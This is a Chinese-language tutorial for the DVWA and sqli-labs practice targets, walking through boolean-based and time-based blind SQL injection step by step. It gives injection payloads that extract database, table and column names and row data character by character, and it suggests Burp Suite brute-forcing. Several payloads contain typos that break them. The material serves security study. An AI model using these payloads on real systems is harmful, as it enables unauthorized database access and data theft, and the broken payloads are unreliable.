一:布尔盲注步骤
注入流程:
1.使用1' and '1' = '1与1' and '1' = '2来判断是否存在盲注,若两者回显信息不同,则可判断是否存在盲注
2.判断数据库名长度
length(database())=8--+
若此时存在盲注,则会根据返回不同信息来判断数据库长度是否等于相对应值,如靶场的1或0,也可使用大于号>和小于号<来辅助判断(这里推荐使用浏览器插件hackbar)
3.判断数据库名字
substr(database(),1,1)='d'#
database为截取的字符串,第二个1为从哪个位置开始,第三个1代表截取的长度
这里需要不断更改d的名字来判断数据库名称,这里将使用burp的爆破模块来加快判断速度
4.判断表数量
(select count(table_name) from information_schema.tables where table_schema='dvwa')=2%23
用于表示查询表的数量,这里是判断表的数量是否为2
对每个部分进行解析说明:
-
SELECT: 这个关键词表明查询的是一个数据集,其中包括所选的列或计算的值。
-
COUNT(table_name): 这部分表示
COUNT()
是一个聚合函数,用于计算指定列中的行数。在这里,COUNT(table_name)
的目的是计算满足后续条件的行数,以此确定表的数量。 -
FROM information_schema.tables: 这部分指定了要从哪个表或视图中检索数据。在这里,我们从名为
information_schema.tables
的系统视图中检索数据,这个视图包含了关于数据库中所有表的信息。 -
WHERE table_schema=‘dvwa’: 这是一个过滤条件,用于限制查询结果。
table_schema
是information_schema.tables
中的一个列,它表示表所属的数据库(schema)。这里的条件table_schema='dvwa'
表示只返回数据库名为dvwa
的表的信息。
这里,把WHERE table_schema=‘dvwa’可以理解为就是关于dvwa的数据库所涉及的行进行查询
5.获取表名长度
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2%23
获取第二个表名
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=2%23
6.获取具体表名
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'
如要查询第二个字母则在尾部的那两个1,1的前一个1改正为2
每个部分的作用:
-
substr(...)
:- 作用: 截取字符串的一部分。
- 参数: 第一个参数是要截取的字符串,第二个参数是开始截取的位置,第三个参数是截取的长度。
-
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
:- 作用: 在数据库中查询表名。
- 子查询: 查询信息模式中符合条件的表名,其中
table_schema=database()
是条件,表示只查询当前数据库中的表名。 LIMIT 0,1
: 限制返回结果的行数为 1 行。
-
='g'
:- 作用: 对比截取的字符串的第一个字符是否为
'g'
,返回布尔值(真或假)。
- 作用: 对比截取的字符串的第一个字符是否为
7.获取表中有多少列
(select (select count(cloumn_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa')=8
8.获取列名长度
length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 0,1))=10%23
获取第二个列名长度
length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 1,1))=10%23
9.获取列名
substr((select cloumn_name from information_schema.columns where table_name='guesrbook' and table_schema='dvwa' limit 0,1),1,1='c'
10.获取有多少行记录
(select count(comment_id) from guestbook)=1
11.获取表中记录长度
(select length(comment_id) from guestbook limit 0,1)=1%23
12.获取具体数据:
substr((select comment_id from guestbook limit 0,1),1,1)='1'%23
这里,简单总结四个函数的作用:
-
substr()
或SUBSTRING()
:- 作用: 用于截取字符串的一部分。
-
group_concat()
:- 作用: 将多个行的列值连接成一个单独的字符串结果。
-
length()
:- 作用: 返回字符串的长度(即字符的数量)。
-
count()
:- 作用: 返回匹配特定条件的行数。
- limit:作用: 用于限制 SQL 查询返回的结果行数。
二:时间盲注步骤
注入流程:
1.使用语句1' and sleep(5)--+,根据响应时间判断,若存在较大延迟,即5秒时间才返回响应,则可判断存在时间盲注
2.获取表的长度if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),1)%23
这里不写太多是因为时间盲注在后续注入跟布尔盲注差不多,所以没有写很多
感谢观看,祝屏幕前的各位也能挖穿src